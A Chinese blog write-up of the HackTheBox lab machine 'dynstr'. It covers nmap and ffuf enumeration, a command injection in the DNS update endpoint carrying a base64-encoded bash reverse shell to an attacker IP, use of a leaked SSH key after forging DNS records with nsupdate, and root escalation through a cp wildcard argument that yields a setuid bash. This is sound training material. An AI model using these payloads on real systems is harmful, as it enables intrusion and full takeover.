HackTheBox - dynstr

本文最后更新于:2022年6月6日 下午

0x01 端口探测

使用nmap对靶机端口进行探测:

1
nmap -sV -sC 10.10.10.244

结果如下,除了传统的22和80端口外,还有一个不同寻常的53端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-08 21:57 CST
Nmap scan report for 10.10.10.244
Host is up (0.56s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
| 256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_ 256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.00 seconds

0x02 Web Shell

访问WEB界面,可以发现有域名和账户信息:

image-20211008220142704

1
2
Username: dynadns
Password: sndanyd
1
2
3
dnsalias.htb
dynamicdns.htb
no-ip.htb

搜了一圈没有发现有用信息,遂对目录进行扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
╭─root@kali ~/Tools/SecLists/Discovery/Web-Content ‹master› 
╰─# ffuf -u http://dynamicdns.htb/FUZZ -w raft-large-directories-lowercase.txt -x http://localhost:8080

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.3.1-dev
________________________________________________

:: Method : GET
:: URL : http://dynamicdns.htb/FUZZ
:: Wordlist : FUZZ: raft-large-directories-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Proxy : http://localhost:8080
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________

assets [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 1412ms]
server-status [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 458ms]
[Status: 200, Size: 10909, Words: 1937, Lines: 282, Duration: 521ms]
nic [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 518ms]
[Status: 200, Size: 10909, Words: 1937, Lines: 282, Duration: 546ms]
:: Progress: [56163/56163] :: Job [1/1] :: 50 req/sec :: Duration: [0:12:45] :: Errors: 2 ::

发现了nic目录,继续对二级目录进行爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
╭─root@kali ~/Tools/SecLists/Discovery/Web-Content ‹master› 
╰─# ffuf -u http://no-ip.htb/nic/FUZZ -w raft-large-directories-lowercase.txt -x http://localhost:8080

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.3.1-dev
________________________________________________

:: Method : GET
:: URL : http://no-ip.htb/nic/FUZZ
:: Wordlist : FUZZ: raft-large-directories-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Proxy : http://localhost:8080
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________

update [Status: 200, Size: 8, Words: 1, Lines: 2, Duration: 465ms]
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 502ms]
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 599ms]
:: Progress: [56163/56163] :: Job [1/1] :: 57 req/sec :: Duration: [0:15:28] :: Errors: 2 ::

题外话:在复盘的时候发现在no-ip.com能直接发现相关的接口,也就是其实是不用爆破的。。。

image-20211019195943707

直接访问该链接,结果如下:

image-20211019191835400

Google一下能够发现该接口使用的验证信息:

image-20211009120205933

image-20211019191913980

遂构造数据包,成功发送请求:

image-20211009121036542

尝试输入一些特殊字符,得到报错。发现使用了nsupdate。

image-20211009121329235

查看nsupdate,发现是linux中的二进制文件。

image-20211019192113038

我们不难推测整个接口对二进制文件的封装,底层调用了nsupdate对DNS进行升级。由此我们合理推测该接口存在命令注入。

在对接口进行命令注入测试的过程中发现.的存在会干扰正常的解析(因.也被用来分割域名):

image-20211009123548168

这里有两种方法进行绕过,一个是使用BASE64编码,一个是将IP地址使用16进制进行表示。这里使用的是第一种方法,最后构造出的数据包如下:

1
2
3
4
5
6
7
8
9
10
11
GET /nic/update?hostname=`echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNi4yMi80NDQ0IDA%2bJjE%3d+|+base64+-d+|+bash`%3b753router.no-ip.htb&myip=174.56.139.141&location=753router HTTP/1.1
Host: 10.10.10.244
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Authorization: Basic ZHluYWRuczpzbmRhbnlk


在攻击机上使用nc对4444端口进行监听,得到反弹的shell:

image-20211016211543520

0x03 User Shell

拿到shell我们可以先升级,升级成一个半完整的终端,后面使用nsupdate会方便一些:

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

翻了一圈,最后找到home目录,有两个用户:

1
2
3
4
5
www-data@dynstr:/home$ ls -l
ls -l
total 8
drwxr-xr-x 5 bindmgr bindmgr 4096 Oct 8 14:40 bindmgr
drwxr-xr-x 3 dyna dyna 4096 Mar 18 2021 dyna

dyna用户里面没有任何东西,进入bindmgr账户可以发现一个support-case-C62796521文件夹:

1
2
3
4
5
www-data@dynstr:/home/bindmgr$ ls -l
ls -l
total 1168
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 2021 support-case-C62796521
-r-------- 1 bindmgr bindmgr 33 Oct 8 06:27 user.txt

另外可能也可以看到一个二进制bash文件,这个可能是其他师傅留下的,可以直接拿到bindmgr的shell,我们不用去管他。

image-20211009124510463

在该目录下有如下文件,在C62796521-debugging.script中可以发现有泄露的ssh私钥:

1
2
3
4
5
6
7
8
9
www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls -la
ls -la
total 436
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 2021 .
drwxr-xr-x 6 bindmgr bindmgr 4096 Oct 19 09:48 ..
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13 2021 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr 29312 Mar 13 2021 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr 1175 Mar 13 2021 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13 2021 strace-C62796521.txt

image-20211016212958927

保存该文件为bindmgr,尝试使用该私钥进行连接,失败:

image-20211019202621778

经过对照确认私钥为正确的私钥(公钥文件可以去家目录的.ssh文件夹中读取):

image-20211018214739959

查看.ssh文件夹中的authorized_keys文件,可以发现该私钥限制了使用范围:

image-20211018211143850

也就是我们需要将我们的IP纳入*.infra.dyna.htb的范围中,所以得利用box中的nsupdate命令增加dns记录:

对于nsupdate相信很多人都是陌生的,这里最好的方法是去看网页是怎么做的。打开update文件能够找到调用的命令:

image-20211019203502840

image-20211018210950304

要是对$h$d两个参数有疑问的可以自己跑一下命令:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/桌面]
└─$ php -a 130 ⨯
Interactive mode enabled

php > list($h,$d) = explode(".","test1.test2.com",2);
php > echo $h;
test1
php > echo $d;
test2.com
php >

一切准备就绪后可以直接调用nsupdate命令更新DNS记录:

1
/usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key

但是一开始会报错,一番尝试后发现是key不对。

image-20211018213244332

ddns.key的同级目录下能够找到真正能用的key,即infra.key

image-20211018213417109

首先增加正向解析的A记录:

1
2
3
4
5
6
7
8
9
10
11
www-data@dynstr:/var/www/html/nic$ /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
</nic$ /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
> server localhost
server localhost
> zone dyna.htb
zone dyna.htb
> update add h1nt.infra.dyna.htb 30 IN A 10.10.16.33
update add h1nt.infra.dyna.htb 30 IN A 10.10.16.33
> send
send
>

image-20211018213646409

使用nslookup命令验证成功添加:

image-20211018213734451

但是我们还是不能使用私钥进行ssh连接,原因是ssh还会进行反向解析。可以参考stackoverflow的一篇帖子

无论原因如何,我们需要同样把反向解析记录给加上。

首先可以使用nslookup看看需要添加的记录是什么。注意不是你的IP地址:

image-20211019204733872

使用如下命令添加反向解析记录:

1
2
3
4
5
6
7
8
9
www-data@dynstr:/var/www/html/nic$ /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
</nic$ /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
> server localhost
server localhost
> update add 33.16.10.10.in-addr.arpa 30 IN PTR h1nt.infra.dyna.htb
update add 33.16.10.10.in-addr.arpa 30 IN PTR h1nt.infra.dyna.htb
> send
send
>

而后再次使用nslookup进行验证:

image-20211018223740295

添加成功后我们就能使用私钥进行连接了:

image-20211018223912951

0x04 Root Shell

连接上后尝试提权,使用sudo -l能够发现一个脚本:

image-20211019101601763

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/bash

# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
# named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
# not deleting them. As we generate the list of files to be included
# from the source directory they won't be included anyway.

BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/ /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 43
fi

# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
named-checkconf $BINDMGR_CONF 2>&1 | indent
exit 44
else
echo "[+] Configuration successfully staged."
# *** TODO *** Uncomment restart once we are live.
# systemctl restart bind9
if [[ $? -ne 0 ]] ; then
echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
systemctl status bind9
else
echo "[+] Restart of bind9 via systemctl succeeded."
fi
fi

这个脚本写得有纰漏的地方是它同时使用了cp命令和通配符*,我们可以利用它进行权限提升。原理是cp命令会改变文件的属主,以及cp命令可以设置保留文件的权限位,配合setuid标志位就能够拿到root的shell。

首先我们可以新建一个文件夹,配置好.version文件,而后将bash复制到当前文件夹中。

之后新建一个文件,名字为--preserve=mode,这个命令可以在保留复制后的文件的权限位。关于更多的解释可以使用man命令进行详细查看。

1
touch -- --preserve=mode

创建后的三个文件如下:

image-20211019155725154

之后使用chmod给bash设置setuid标志位:

1
chmod 4755 bash

image-20211019155812638

接着便可以跑脚本了:

1
sudo /usr/local/bin/bindmgr.sh

在设置的目录下即可看到一个设置了setuid标志位的属主为root的bash:

image-20211019155849032

使用该bash即可启动一个root的shell:

1
./bash -p

image-20211019155921666

自此,整个Box拿下!

0x04 Summary

这是一个Medium难度的Linux靶机,主要考察内容如下:

  • 命令注入
  • 敏感信息读取
  • dns解析记录的配置
  • cp*组合的滥用

HackTheBox - dynstr
https://m0ck1ng-b1rd.github.io/2021/12/07/HTB/dynstr/
作者
何语灵
发布于
2021年12月7日
许可协议